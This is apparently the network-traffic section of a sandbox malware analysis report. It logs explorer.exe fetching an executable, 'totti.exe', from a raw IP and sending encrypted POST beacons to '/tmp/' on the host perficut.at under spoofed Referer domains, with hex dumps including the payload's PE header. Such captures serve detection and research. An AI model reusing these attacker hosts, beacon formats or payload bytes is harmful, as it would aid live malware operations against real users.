Feb 16, 2023 10:02:11.792768955 CET	4679	IN	Data Raw: ef 44 00 50 52 ff 15 80 50 43 00 85 c0 74 07 a3 70 cf 46 00 eb 0a c7 05 70 cf 46 00 f0 29 40 00 6a 00 ff 15 74 cf 46 00 a3 00 cf 46 00 6a 01 ff 15 74 cf 46 00 a3 20 cf 46 00 6a 02 ff 15 74 cf 46 00 83 c4 0c 46 a3 40 cf 46 00 83 7c 24 04 00 0f 84 Data Ascii: DPRPCtpFpF)@jtFFjtF FjtFF@F\|$[3PPSQCT$0F3)@3BhFpFrFhF4PC$$3;FS3 ][_^hFPC
Feb 16, 2023 10:02:11.792788029 CET	4680	IN	Data Raw: 04 ca d8 c9 85 c0 7e 06 dc 04 c2 48 eb f4 dd d9 dc 02 de f9 5d c3 e8 03 02 00 00 dd 05 28 8a 44 00 5d c3 8b ff 55 8b ec 8d 41 04 8b d0 2b d1 83 c2 03 56 33 f6 c1 ea 02 3b c1 1b c0 f7 d0 23 c2 74 0d 8b 55 08 46 89 11 8d 49 04 3b f0 75 f6 5e 5d c2 Data Ascii: ~H](D]UA+V3;#tUFI;u^]U(F3E}WtuUYjPjP^h0jP^0ffff
Feb 16, 2023 10:02:11.792809010 CET	4682	IN	Data Raw: 45 f0 74 08 0d 00 00 00 80 89 45 f0 d1 6d f4 83 e9 01 75 da dd 45 f0 85 d2 74 02 d9 e0 8b 45 0c dd 18 eb 03 33 ff 47 85 ff 5f 74 08 6a 10 e8 c1 04 00 00 59 83 e6 fd f6 c3 10 74 11 f6 45 10 20 74 0b 6a 20 e8 ab 04 00 00 59 83 e6 ef 33 c0 85 f6 5e Data Ascii: EtEmuEtE3G_tjYtE tj Y3^[]Ujuuuuuu]UE3S3CHEWHEHMtEXtEHtEHtEHtE
Feb 16, 2023 10:02:11.792829990 CET	4683	IN	Data Raw: e4 8b 44 00 db 5d fc 9b f6 c1 08 74 10 9b df e0 db 2d e4 8b 44 00 dd 5d f4 9b 9b df e0 f6 c1 10 74 0a db 2d f0 8b 44 00 dd 5d f4 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f4 9b 8b e5 5d c3 8b ff 55 8b ec 51 9b dd 7d Data Ascii: D]t-D]t-D]t t]]UQ}E]=HF\$D$%=u<$f$ffd$uU=HFt2\$D$%=u<$f$ffd$uE$r
Feb 16, 2023 10:02:11.852010965 CET	4684	IN	Data Raw: 0f 00 75 04 85 d2 74 6a de d9 bf 03 fc ff ff df e0 f6 c4 41 75 05 33 c0 40 eb 02 33 c0 f6 45 0e 10 75 1f 03 c9 89 4d 0c 85 d2 79 06 83 c9 01 89 4d 0c 03 d2 4f f6 45 0e 10 74 e8 66 8b 75 0e 89 55 08 b9 ef ff 00 00 66 23 f1 66 89 75 0e 85 c0 74 0c Data Ascii: utjAu3@3EuMyMOEtfuUf#futffuEjQQ$1#jQQ$^E8_]UQQMEE%]fME]U}Euu@]}uuj

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49727	95.158.162.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:02:13.021317959 CET	5147	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cdqmtwa.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: perficut.at
Feb 16, 2023 10:02:13.021353006 CET	5147	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 13 6b 2c 90 f4 76 0b 75 47 06 f8 fd Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA ,[k,vuGqOii8KrnjPWN(8F;fL3Jq"
Feb 16, 2023 10:02:13.272435904 CET	5148	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:02:13 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49698	23.106.124.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:19.811352015 CET	97	OUT	GET /totti.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.106.124.133
Feb 16, 2023 10:01:19.986488104 CET	98	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Thu, 16 Feb 2023 09:01:19 GMT Content-Type: application/octet-stream Content-Length: 3837952 Last-Modified: Thu, 16 Feb 2023 09:00:03 GMT Connection: keep-alive ETag: "63edf093-3a9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 92 2a 9d 19 f3 44 ce 19 f3 44 ce 19 f3 44 ce 07 a1 d1 ce 04 f3 44 ce 07 a1 c7 ce 70 f3 44 ce 07 a1 c0 ce 31 f3 44 ce 3e 35 3f ce 10 f3 44 ce 19 f3 45 ce 66 f3 44 ce 07 a1 ce ce 18 f3 44 ce 07 a1 d0 ce 18 f3 44 ce 07 a1 d5 ce 18 f3 44 ce 52 69 63 68 19 f3 44 ce 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 51 4e 4d 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 22 01 00 00 32 71 00 00 00 00 00 bf 67 00 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 72 00 00 04 00 00 c6 31 3b 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 26 01 00 64 00 00 00 00 a0 71 00 58 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 72 00 c8 0b 00 00 f0 11 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 41 00 00 18 00 00 00 e0 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 20 01 00 00 10 00 00 00 22 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 58 70 00 00 40 01 00 00 92 38 00 00 26 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 76 00 00 00 a0 71 00 00 78 00 00 00 b8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 5e 00 00 00 20 72 00 00 60 00 00 00 30 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 2d Data Ascii: MZ@!L!This program cannot be run in DOS mode.$]*DDDDpD1D>5?DEfDDDDRichDPELQNMa"2qg@@r1;&dqXv r(A@@.text " `.dataHXp@8&@.rsrcXvqx9@@.reloc^ r`0:@B-
Feb 16, 2023 10:01:19.986546993 CET	99	IN	Data Raw: 01 00 fc 2c 01 00 18 2d 01 00 00 00 00 00 30 29 01 00 48 29 01 00 62 29 01 00 7a 29 01 00 8c 29 01 00 9e 29 01 00 bc 29 01 00 d4 29 01 00 ec 29 01 00 00 2a 01 00 14 2a 01 00 2a 2a 01 00 3e 2a 01 00 52 2a 01 00 66 2a 01 00 7a 2a 01 00 88 2a 01 00 Data Ascii: ,-0)H)b)z))))))***>Rfz*******)++8+N+^+n++++++,,2,B,00\|0((n0T-j-~-------..$
Feb 16, 2023 10:01:19.986598969 CET	101	IN	Data Raw: 00 00 00 00 00 00 f0 3f 32 ef fc 99 79 82 ca 3f cd 3b 7f 66 9e a0 e6 3f 00 00 00 20 34 dd 8b bc 00 00 00 00 00 00 e0 3f 58 77 24 94 cc 33 c1 3f 41 17 15 6b 80 bc e8 3f 00 00 00 20 e1 c5 82 bc 00 00 00 00 00 00 e0 3f 87 8c e6 9a b3 73 ac 3f a3 a1 Data Ascii: ?2y?;f? 4?Xw$3?Ak? ?s?)f?09<?N,J8?v?uZEeuF2k? Wt<?-v1?-VA?`<?gY\b? bu<?P/Ye&%
Feb 16, 2023 10:01:19.986645937 CET	102	IN	Data Raw: c0 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 2f 59 0f 65 a1 9b bf 26 25 d1 a3 8d d8 ef bf 00 00 00 40 f6 7d 88 3c 00 00 00 00 00 00 c0 3f d5 67 59 0e 1f 1d ac bf b0 5c f7 cf 97 62 ef bf Data Ascii: P/Ye&%@}<?gY\b bu?-v1?-VA`?uZEeuF2k Wt?N,J8v<?s?)f09?Xw$3?Ak
Feb 16, 2023 10:01:19.986728907 CET	103	IN	Data Raw: cc 33 c1 3f 41 17 15 6b 80 bc e8 3f 00 00 00 20 e1 c5 82 bc 00 00 00 00 00 00 e0 3f 87 8c e6 9a b3 73 ac 3f a3 a1 0e 29 66 9b ea 3f 00 00 00 e0 30 f6 39 3c 00 00 00 00 00 00 e0 3f 4e 9c 90 7f 2c 4a 9d bf b1 bd 80 f1 b2 38 ec 3f 00 00 00 80 b1 e0 Data Ascii: 3?Ak? ?s?)f?09<?N,J8?v?uZEeuF2k? Wt<?-v1?-VA?`<?gY\b? bu<?P/Ye&%?@}??
Feb 16, 2023 10:01:19.986794949 CET	105	IN	Data Raw: d1 a3 8d d8 ef bf 00 00 00 40 f6 7d 88 3c 00 00 00 00 00 00 c0 3f d5 67 59 0e 1f 1d ac bf b0 5c f7 cf 97 62 ef bf 00 00 00 20 17 62 75 bc 00 00 00 00 00 00 d0 3f 2d f8 ac 76 31 a0 a4 3f da 2d c6 56 41 9f ee bf 00 00 00 e0 b1 60 87 bc 00 00 00 00 Data Ascii: @}<?gY\b bu?-v1?-VA`?uZEeuF2k Wt?N,J8v<?s?)f09?Xw$3?Ak <?2y?;f 4<
Feb 16, 2023 10:01:19.986844063 CET	106	IN	Data Raw: 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 69 6e 69 74 69 61 6c 69 7a 65 20 Data Ascii: our application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtual function call
Feb 16, 2023 10:01:19.986911058 CET	107	IN	Data Raw: 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 28 00 28 00 28 00 28 00 28 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00 Data Ascii: ((((( H
Feb 16, 2023 10:01:19.986963987 CET	109	IN	Data Raw: 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd Data Ascii: \|}~
Feb 16, 2023 10:01:19.987011909 CET	110	IN	Data Raw: 79 6e 61 6d 69 63 20 61 74 65 78 69 74 20 64 65 73 74 72 75 63 74 6f 72 20 66 6f 72 20 27 00 00 00 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 Data Ascii: ynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete
Feb 16, 2023 10:01:20.161828995 CET	112	IN	Data Raw: e8 3b 40 00 e4 3b 40 00 e0 3b 40 00 dc 3b 40 00 d8 3b 40 00 d4 3b 40 00 d0 3b 40 00 cc 3b 40 00 c8 3b 40 00 c4 3b 40 00 c0 3b 40 00 bc 3b 40 00 b8 3b 40 00 b4 3b 40 00 b0 3b 40 00 ac 3b 40 00 a8 3b 40 00 a4 3b 40 00 a0 3b 40 00 9c 3b 40 00 98 3b Data Ascii: ;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@;@x;@p;@d;@L;@@;@,;@;@:@:@:@:@h:@L:@(:@:@9@9@9@9@9@9@t9@l9@`9@P9@49@9@8@8@8@p8@T8@08@8@7@7@7@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49699	175.126.109.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:32.230098009 CET	4093	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aoeqn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 280 Host: perficut.at
Feb 16, 2023 10:01:32.230133057 CET	4093	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 0b 6b 2c 90 f4 76 0b 75 3c 19 ac a0 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA ,[k,vu<zAc^9o'\gmKim]$0$7O_@v^?z0R\PZ@]jx- 9JJS[W}\"j
Feb 16, 2023 10:01:33.469393015 CET	4094	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49700	211.104.254.139	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:33.761935949 CET	4095	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://siulsd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: perficut.at
Feb 16, 2023 10:01:33.762182951 CET	4095	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 25 22 ca f8 Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vu%"7pxIt?Z)E]\4dc/o2CWl]:=mx:V?W6;+8w~cd"Gf-p $:g
Feb 16, 2023 10:01:35.002327919 CET	4096	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49701	58.235.189.192	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:35.342067003 CET	4097	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqltevimc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 181 Host: perficut.at
Feb 16, 2023 10:01:35.342067003 CET	4097	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 56 17 ae ae Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vuVPoxvUE-4uph%RR9< fL4Fk&O/1BR.AS)
Feb 16, 2023 10:01:36.557902098 CET	4098	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49702	86.122.83.142	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:37.677287102 CET	4099	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sgnfxmtkcw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 334 Host: perficut.at
Feb 16, 2023 10:01:37.677385092 CET	4099	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 7d 36 ed 8d Data Ascii: ;n%!t{~bc}tsGlV\rd!n?$`7C[zqNA -[k,vu}6&ax[O9KO['/Kad`U"=f@-[k~\@;G=@U:d[oFWDD1cYE,lpGQ)
Feb 16, 2023 10:01:37.826651096 CET	4100	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 